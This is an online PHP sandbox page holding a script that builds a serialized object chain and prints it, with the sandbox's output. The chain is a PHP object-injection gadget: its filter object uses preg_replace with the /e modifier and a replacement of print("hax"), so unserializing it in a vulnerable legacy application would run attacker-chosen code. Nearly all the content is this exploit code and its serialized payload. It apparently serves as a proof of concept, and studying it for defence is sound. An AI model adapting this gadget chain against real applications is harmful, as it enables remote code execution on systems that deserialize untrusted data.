Online PHP editor | rfc for lkTJo

@ 2014-04-14T23:16:18Z

<?php

class OutputFilter {
  protected $matchPattern;
  protected $replacement;
  function __construct($pattern, $repl) {
    $this->matchPattern = $pattern;
    $this->replacement = $repl;
  }
  function filter($data) {
    return preg_replace($this->matchPattern, $this->replacement, $data);
  }
};

class LogFileFormat {
  protected $filters;
  protected $endl;
  function __construct($filters, $endl) {
    $this->filters = $filters;
    $this->endl = $endl;
  }
  function format($txt) {
    foreach ($this->filters as $filter) {
      $txt = $filter->filter($txt);
    }
    $txt = str_replace('\n', $this->endl, $txt);
    return $txt;
  }
};

class LogWriter_File {
  protected $filename;
  protected $format;
  function __construct($filename, $format) {
    $this->format = $format;
  }
  function writeLog($txt) {
    $txt = $this->format->format($txt);
  }
};

class Logger {
  protected $logwriter;
  function __construct($writer) {
    $this->logwriter = $writer;
  }
  function log($txt) {
    $this->logwriter->writeLog($txt);
  }
};

class Song {
  protected $logger;
  protected $name;
  protected $group;
  protected $url;
  function __construct($name, $group, $url) {
    $this->name = $name; $this->group = $group;
    $this->url = $url;
    $fltr = new OutputFilter("/(.*)/e", "print(\"hax\")");
    $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
    $this->logger->log("this is log");

  }
}

$kek = new Song("manyname", "sogroup", "wowhttp");

echo serialize($kek);

Output for git.master, git.master_jit, rfc.property-hooks: Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/lkTJo on line 11 Deprecated: str_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /in/lkTJo on line 26 O:4:"Song":4:{s:9:"*logger";O:6:"Logger":1:{s:12:"*logwriter";O:14:"LogWriter_File":2:{s:11:"*filename";N;s:9:"*format";O:13:"LogFileFormat":2:{s:10:"*filters";a:1:{i:0;O:12:"OutputFilter":2:{s:15:"*matchPattern";s:7:"/(.*)/e";s:14:"*replacement";s:12:"print("hax")";}}s:7:"*endl";s:1:" ";}}}s:7:"*name";s:8:"manyname";s:8:"*group";s:7:"sogroup";s:6:"*url";s:7:"wowhttp";}

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2020-03-21 RFC: Is_Literal - declined
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